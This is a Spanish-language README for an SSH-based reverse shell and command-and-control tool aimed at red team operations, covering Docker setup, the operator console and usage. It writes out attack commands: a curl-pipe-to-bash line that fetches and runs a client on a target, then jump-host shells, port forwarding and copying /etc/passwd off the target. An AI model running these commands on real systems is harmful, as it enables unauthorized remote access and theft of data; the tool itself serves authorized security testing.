
Herramienta de gestión de shell inversa basada en SSH con soporte nativo de SCP/SFTP, múltiples protocolos de transporte, generación de DLL para Windows y ejecución sin archivos para operaciones de red team.

(Crédito del arte a https://www.instagram.com/smart.hedgehog.art/)
¿Quieres usar SSH para reverse shells? Ahora puedes.
SCP y SFTP para recuperar archivos de tus objetivoshttp, websockets, tls y más +----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
Se recomienda la versión en contenedor, ya que incluye la versión correcta de golang y un compilador cruzado para windows.
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh
o docker compose:
services:
reversessh:
image: reversessh/reverse_ssh
ports:
- "3232:2222"
environment:
- EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
- RSSH_CONSOLE_LABEL=c2.label
- RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
- SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
volumes:
- ./data:/data
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
Todos los comandos admiten el flag -h para mostrar la ayuda.
A continuación, los comandos ssh habituales funcionan, basta con especificar tu servidor rssh como host de salto.
# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine
# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
Puedes encontrar documentación más completa en la carpeta docs. Esto incluye una hoja de referencia rápida, solución de problemas y más.
¡Un enorme agradecimiento a las siguientes personas por donar al proyecto RSSH y hacer posible todo este trabajo!
¡chikamobina por sus generosas donaciones! ¡wrighterase (ctrlzero) por sus contribuciones y donaciones!
Carapace es una consultora de seguridad con sede en Nueva Zelanda con un equipo de personas extremadamente talentosas.

La forma más sencilla de retribuir al proyecto RSSH es encontrando errores, abriendo solicitudes de nuevas funcionalidades y promocionándolo de boca en boca entre las personas que creas que lo encontrarán útil.
Sin embargo, si quieres darme algo directamente, puedes hacerlo a través de Github Sponsors o enviando a cualquiera de las siguientes carteras:
Monero (XMR):
8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND
Bitcoin (BTC):
bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr